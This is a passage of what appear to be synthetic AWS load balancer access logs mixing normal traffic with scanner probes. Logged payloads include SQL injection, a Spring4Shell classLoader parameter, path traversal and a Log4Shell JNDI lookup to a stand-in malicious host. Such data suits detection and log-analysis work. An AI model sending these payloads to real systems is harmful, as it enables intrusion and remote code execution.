NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ab-5bd424ad3e164b3c9ff63d29" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:31.940686Z "forward" "-" "-" "10.0.146.224:443" "302" "-" "-" -https 2024-11-01T02:25:32.562356Z prod-api-alb 40.90.224.214:60931 10.0.47.224:443 0.090021 0.042167 0.085427 302 302 611 7827 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ac-09251827606c4372b2820003" "prod-api-alb.example.com" "-" 3 2024-11-01T02:25:32.562356Z "forward" "-" "-" "10.0.47.224:443" "302" "-" "-" -https 2024-11-01T02:25:33.131370Z prod-api-alb 171.144.230.100:50211 10.0.179.24:443 0.040404 0.444729 0.054765 200 200 356 10769 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ad-9e359088f9a24caaab73914b" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:33.131370Z "forward" "-" "-" "10.0.179.24:443" "200" "-" "-" -https 2024-11-01T02:25:33.955685Z prod-api-alb 45.155.205.16:19453 10.0.230.221:443 0.008455 0.219006 0.019876 200 200 788 3273 "GET /users?id=1 OR 1=1 HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ad-dc016a33675345c7b41949b8" "-" "-" 0 2024-11-01T02:25:33.955685Z "forward" "-" "-" "10.0.230.221:443" "200" "-" "-" -https 2024-11-01T02:25:35.280557Z prod-web-alb 215.8.162.195:30533 10.0.26.183:443 0.009345 0.401773 0.061841 200 200 539 12245 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9af-be85631bf9474176b272abe2" "prod-web-alb.example.com" "-" 1 2024-11-01T02:25:35.280557Z "forward" "-" "-" "10.0.26.183:443" "200" "-" "-" -https 2024-11-01T02:25:36.059709Z prod-api-alb 5.55.234.188:27662 10.0.120.169:443 0.037850 0.328992 0.012385 200 200 487 3157 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b0-63dd1ce0e5f94e60b13ccdfa" "prod-api-alb.example.com" "-" 10 2024-11-01T02:25:36.059709Z "forward" "-" "-" "10.0.120.169:443" "200" "-" "-" -https 2024-11-01T02:25:36.344020Z staging-alb 45.155.205.176:27334 194.176.89.175:80 0.038300 0.523384 0.072442 404 404 676 4118 "GET /server-status HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b0-63dc96be88114e1aba78f8c5" "-" "-" 9 2024-11-01T02:25:36.344020Z "forward" "-" "-" "194.176.89.175:80" "404" "-" "-" -https 2024-11-01T02:25:38.237109Z prod-api-alb 33.224.84.108:42064 10.0.68.2:443 0.000383 0.090852 0.015161 200 200 185 12887 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b2-a15fc48a2eec4f798760c79c" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:38.237109Z "forward" "-" "-" "10.0.68.2:443" "200" "-" "-" -http 2024-11-01T02:25:38.860474Z staging-alb 15.252.32.6:42236 151.251.156.112:443 0.116887 0.021541 0.006906 302 302 675 8678 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b2-15403459ed604439b2f33231" "staging-alb.example.com" "-" 2 2024-11-01T02:25:38.860474Z "forward" "-" "-" "151.251.156.112:443" "302" "-" "-" -https 2024-11-01T02:25:39.398090Z prod-api-alb 12.21.249.62:44913 10.0.168.202:443 0.055348 0.041976 0.036268 404 404 264 5113 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9b3-69020bb0ef1942648c7aba35" "prod-api-alb.example.com" "-" 8 2024-11-01T02:25:39.398090Z "forward" "-" "-" "10.0.168.202:443" "404" "-" "-" -https 2024-11-01T02:25:41.345083Z prod-api-alb 177.196.83.171:13939 10.0.87.95:443 0.050630 0.035650 0.011973 200 200 90 1415 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9b5-782d18a7d2034478b76b4abe" "prod-api-alb.example.com" "-" 6 2024-11-01T02:25:41.345083Z "forward" "-" "-" "10.0.87.95:443" "200" "-" "-" -https 2024-11-01T02:25:42.674159Z prod-web-alb 57.207.178.138:17092 10.0.64.235:443 0.066754 0.061479 0.094819 302 302 249 11968 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9b6-b2291da1278f44d483fcf843" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:42.674159Z "forward" "-" "-" "10.0.64.235:443" "302" "-" "-" -https 2024-11-01T02:25:43.354868Z staging-alb 29.30.113.142:12003 144.175.88.52:443 0.140456 0.202023 0.043794 200 200 471 8402 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9b7-ae030687be084a01973e5e84" "staging-alb.example.com" "-" 10 2024-11-01T02:25:43.354868Z "forward" "-" "-" "144.175.88.52:443" "200" "-" "-" -https 2024-11-01T02:25:45.211405Z prod-api-alb 66.219.96.228:19631 10.0.151.172:443 0.049204 0.228853 0.074003 200 200 902 2202 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9b9-b313d79a650b40e6a8d04a9f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:25:45.211405Z "forward" "-" "-" "10.0.151.172:443" "200" "-" "-" -https 2024-11-01T02:25:46.204145Z prod-api-alb 45.155.205.109:60500 10.0.4.64:443 0.085371 0.183694 0.049653 500 500 544 6408 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ba-ae6382faf2204dccb8200306" "-" "-" 2 2024-11-01T02:25:46.204145Z "forward" "-" "-" "10.0.4.64:443" "500" "-" "-" -https 2024-11-01T02:25:47.811155Z staging-alb 20.51.38.227:48031 67.120.11.107:8080 0.039515 0.479558 0.124839 302 302 161 11212 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9bb-6502ce4cd83a458dbcb3ef3b" "staging-alb.example.com" "-" 1 2024-11-01T02:25:47.811155Z "forward" "-" "-" "67.120.11.107:8080" "302" "-" "-" -https 2024-11-01T02:25:49.141272Z prod-api-alb 137.197.198.114:54096 10.0.162.208:443 0.088751 0.488962 0.086652 200 200 880 1467 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9bd-afbffe9018474f5b9355cb93" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:49.141272Z "forward" "-" "-" "10.0.162.208:443" "200" "-" "-" -https 2024-11-01T02:25:50.532550Z staging-alb 68.197.168.139:24740 114.197.198.100:443 0.123391 0.273317 0.117431 200 200 886 4722 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9be-a21f72c5c4ec40529e211630" "staging-alb.example.com" "-" 5 2024-11-01T02:25:50.532550Z "forward" "-" "-" "114.197.198.100:443" "200" "-" "-" -https 2024-11-01T02:25:52.377207Z staging-alb 3.57.236.70:11660 14.129.239.218:80 0.022691 0.538231 0.077091 301 301 212 8090 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c0-dfcb8bac8c91471bb9243d9f" "staging-alb.example.com" "-" 1 2024-11-01T02:25:52.377207Z "forward" "-" "-" "14.129.239.218:80" "301" "-" "-" -https 2024-11-01T02:25:54.072143Z prod-api-alb 66.128.239.132:42906 10.0.123.22:443 0.030803 0.424240 0.069855 200 200 163 4274 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9c2-2ea003bb97d448b7ac19c4c3" "prod-api-alb.example.com" "-" 5 2024-11-01T02:25:54.072143Z "forward" "-" "-" "10.0.123.22:443" "200" "-" "-" -https 2024-11-01T02:25:55.730357Z prod-web-alb 228.1.231.66:32620 10.0.74.148:443 0.006682 0.080812 0.042161 200 200 424 7363 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c3-69e7eeae8a94425f81394dc3" "prod-web-alb.example.com" "-" 0 2024-11-01T02:25:55.730357Z "forward" "-" "-" "10.0.74.148:443" "200" "-" "-" -https 2024-11-01T02:25:56.687351Z prod-web-alb 166.223.175.20:28097 10.0.145.198:443 0.065121 0.087171 0.083382 200 200 761 1914 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c4-a2af599da61041a7aef32f72" "prod-web-alb.example.com" "-" 8 2024-11-01T02:25:56.687351Z "forward" "-" "-" "10.0.145.198:443" "200" "-" "-" -https 2024-11-01T02:25:58.208149Z staging-alb 201.127.43.157:50648 115.122.68.72:8080 0.082208 0.611207 0.040820 302 302 807 9662 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c6-53a86db2ab6f44f2bf5dbc5d" "staging-alb.example.com" "-" 0 2024-11-01T02:25:58.208149Z "forward" "-" "-" "115.122.68.72:8080" "302" "-" "-" -https 2024-11-01T02:25:59.039856Z prod-api-alb 12.6.115.64:47789 10.0.108.192:443 0.042973 0.361328 0.033628 200 200 93 1634 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9c7-77f79b2bbccc409bb7b6a163" "prod-api-alb.example.com" "-" 7 2024-11-01T02:25:59.039856Z "forward" "-" "-" "10.0.108.192:443" "200" "-" "-" -https 2024-11-01T02:25:59.163447Z prod-web-alb 19.124.232.213:14512 10.0.146.192:443 0.000418 0.129322 0.046502 200 200 883 7720 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9c7-2b9dea47414f42daa1101dda" "prod-web-alb.example.com" "-" 3 2024-11-01T02:25:59.163447Z "forward" "-" "-" "10.0.146.192:443" "200" "-" "-" -https 2024-11-01T02:25:59.721683Z staging-alb 215.155.31.18:21926 36.219.235.48:80 0.101107 0.589996 0.070254 200 200 941 2828 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9c7-c0968e15483f4f1da6a8cd08" "staging-alb.example.com" "-" 2 2024-11-01T02:25:59.721683Z "forward" "-" "-" "36.219.235.48:80" "200" "-" "-" -https 2024-11-01T02:26:00.575993Z prod-api-alb 170.211.129.148:63282 10.0.111.180:443 0.011657 0.084617 0.095642 200 200 779 9188 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9c8-551ef0a3df5a4b84ae353d72" "prod-api-alb.example.com" "-" 0 2024-11-01T02:26:00.575993Z "forward" "-" "-" "10.0.111.180:443" "200" "-" "-" -https 2024-11-01T02:26:02.534478Z prod-api-alb 230.157.165.222:39485 10.0.253.190:443 0.045918 0.199786 0.027645 301 301 841 14791 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9ca-601426e5666d4bc690b6c6c8" "prod-api-alb.example.com" "-" 8 2024-11-01T02:26:02.534478Z "forward" "-" "-" "10.0.253.190:443" "301" "-" "-" -https 2024-11-01T02:26:03.415242Z prod-api-alb 45.155.205.6:55111 10.0.117.238:443 0.064966 0.460117 0.010044 401 401 280 14267 "GET /admin HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9cb-15ccde4d60634b2eb1870eba" "-" "-" 1 2024-11-01T02:26:03.415242Z "forward" "-" "-" "10.0.117.238:443" "401" "-" "-" -https 2024-11-01T02:26:04.386787Z prod-api-alb 45.155.205.170:35675 10.0.211.121:443 0.057623 0.219439 0.063916 403 403 580 5570 "GET /actuator/env HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9cc-67754433a04146a3bac1d881" "-" "-" 4 2024-11-01T02:26:04.386787Z "forward" "-" "-" "10.0.211.121:443" "403" "-" "-" -https 2024-11-01T02:26:05.207509Z prod-api-alb 199.157.216.219:41048 10.0.97.153:443 0.055233 0.341644 0.048262 301 301 693 14189 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9cd-9ea564e075494fe5b7f1ab9f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:26:05.207509Z "forward" "-" "-" "10.0.97.153:443" "301" "-" "-" -https 2024-11-01T02:26:06.542320Z prod-api-alb 193.27.228.159:16205 10.0.74.88:443 0.003457 0.461574 0.087131 403 403 360 9035 "GET /admin HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9ce-a57d4689aaf44ee59ba63104" "-" "-" 0 2024-11-01T02:26:06.542320Z "forward" "-" "-" "10.0.74.88:443" "403" "-" "-" -https 2024-11-01T02:26:08.475446Z prod-api-alb 193.27.228.135:62673 10.0.33.147:443 0.091622 0.058324 0.092024 404 404 686 10932 "GET /static/../../secret HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9d0-ecc140ce8970481ba17b1198" "-" "-" 7 2024-11-01T02:26:08.475446Z "forward" "-" "-" "10.0.33.147:443" "404" "-" "-" -https 2024-11-01T02:26:10.448399Z prod-web-alb 215.90.42.114:24419 10.0.171.46:443 0.037510 0.164571 0.029574 404 404 389 13333 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d2-6722d7fd264b46efbf9708b3" "prod-web-alb.example.com" "-" 3 2024-11-01T02:26:10.448399Z "forward" "-" "-" "10.0.171.46:443" "404" "-" "-" -https 2024-11-01T02:26:11.358155Z prod-api-alb 78.226.254.39:35797 10.0.11.61:443 0.071429 0.362254 0.092401 302 302 551 12037 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9d3-e44460c7bf1843488b6977f2" "prod-api-alb.example.com" "-" 6 2024-11-01T02:26:11.358155Z "forward" "-" "-" "10.0.11.61:443" "302" "-" "-" -https 2024-11-01T02:26:12.128839Z staging-alb 165.191.72.62:23765 115.1.234.110:443 0.021006 0.096690 0.065304 302 302 570 1249 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9d4-c5866ca82b9643bcb7ee2d7c" "staging-alb.example.com" "-" 3 2024-11-01T02:26:12.128839Z "forward" "-" "-" "115.1.234.110:443" "302" "-" "-" -https 2024-11-01T02:26:14.010889Z prod-web-alb 62.155.178.247:59342 10.0.93.228:443 0.000655 0.001369 0.051020 200 200 153 1349 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d6-e86bb69de8c249b3bdb59950" "prod-web-alb.example.com" "-" 2 2024-11-01T02:26:14.010889Z "forward" "-" "-" "10.0.93.228:443" "200" "-" "-" -http 2024-11-01T02:26:15.333372Z staging-alb 19.193.132.176:46349 107.87.220.72:8080 0.083890 0.100904 0.073131 301 301 258 6086 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9d7-90fd654596c24107a1b41bdf" "staging-alb.example.com" "-" 10 2024-11-01T02:26:15.333372Z "forward" "-" "-" "107.87.220.72:8080" "301" "-" "-" -https 2024-11-01T02:26:16.501217Z prod-web-alb 130.83.226.136:25616 10.0.149.44:443 0.086955 0.433361 0.080670 200 200 671 2722 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9d8-baedf6a239734ef0b78546c5" "prod-web-alb.example.com" "-" 0 2024-11-01T02:26:16.501217Z "forward" "-" "-" "10.0.149.44:443" "200" "-" "-" -http 2024-11-01T02:26:16.884113Z staging-alb 160.68.51.238:18074 167.161.245.110:80 0.139898 0.689949 0.006051 301 301 920 2218 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9d8-9060932fe3dc495bbaea3a64" "staging-alb.example.com" "-" 5 2024-11-01T02:26:16.884113Z "forward" "-" "-" "167.161.245.110:80" "301" "-" "-" -https 2024-11-01T02:26:17.717686Z prod-api-alb 214.25.106.152:17929 10.0.73.105:443 0.022719 0.379220 0.080420 200 200 487 14626 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d9d9-3260cb0e08d14120afc29c2b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:26:17.717686Z "forward" "-" "-" "10.0.73.105:443" "200" "-" "-" -https 2024-11-01T02:26:19.277360Z staging-alb 97.145.246.229:17504 89.100.223.106:80 0.121708 0.171210 0.056228 200 200 875 10592 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9db-f16d39d86ccb412894cda5d3" "staging-alb.example.com" "-" 7 2024-11-01T02:26:19.277360Z "forward" "-" "-" "89.100.223.106:80" "200" "-" "-" -https 2024-11-01T02:26:20.707997Z prod-web-alb 52.100.127.224:57463 10.0.188.186:443 0.030508 0.039902 0.050116 301 301 789 3332 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d9dc-26d0d0912bf64b2db6601bf8" "prod-web-alb.example.com" "-" 5 2024-11-01T02:26:20.707997Z "forward" "-" "-" "10.0.188.186:443" "301" "-" "-" -https 2024-11-01T02:26:21.244209Z prod-api-alb 45.155.205.109:33395 10.0.230.163:443 0.080843 0.066303 0.048932 403 403 418 9170 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9dd-0a04a1d1911d491680e27da3" "-" "-" 1 2024-11-01T02:26:21.244209Z "forward" "-" "-" "10.0.230.163:443" "403" "-" "-" -https 2024-11-01T02:26:22.687167Z staging-alb 193.27.228.250:16069 212.8.103.10:443 0.110898 0.104069 0.070835 404 404 724 12404 "PUT /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d9de-105fab325ad84f3ab90de810" "-" "-" 9 2024-11-01T02:26:22.687167Z "forward" "-" "-" "212.8.103.10:443" "404" "-" "-" -http 2024-11-01T02:26:22.968981Z staging-alb 180.64.54.75:64480 46.174.106.206:443 0.047464 0.215076 0.123773 404 404 352 4478 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9de-3f932bde8c7a4c3c9bd8994f" "staging-alb.example.com" "-" 9 2024-11-01T02:26:22.968981Z "forward" "-" "-" "46.174.106.206:443" "404" "-" "-" -https 2024-11-01T02:26:23.081497Z prod-api-alb 59.23.57.106:27012 10.0.4.90:443 0.036322 0.284397 0.020265 404 404 95 12207 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d9df-0300c3e4eb234889b32fd03d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:26:23.081497Z "forward" "-" "-" "10.0.4.90:443" "404" "-" "-" -https 2024-11-01T02:26:24.519346Z staging-alb 209.171.124.197:48707 211.39.83.241:80 0.026648 0.680243 0.042685 200 200 799 6612 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d9e0-123c204f54234a458be6487a" "staging-alb.example.com" "-" 6 2024-11-01T02:26:24.519346Z "forward" "-" "-" "211.39.83.241:80" "200" "-" "-" -http 2024-11-01T02:26:26.015978Z staging-alb 180.181.159.159:48916 23.250.158.84:8080 0.096766 0.180789 0.126521 200 200 950 8667 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 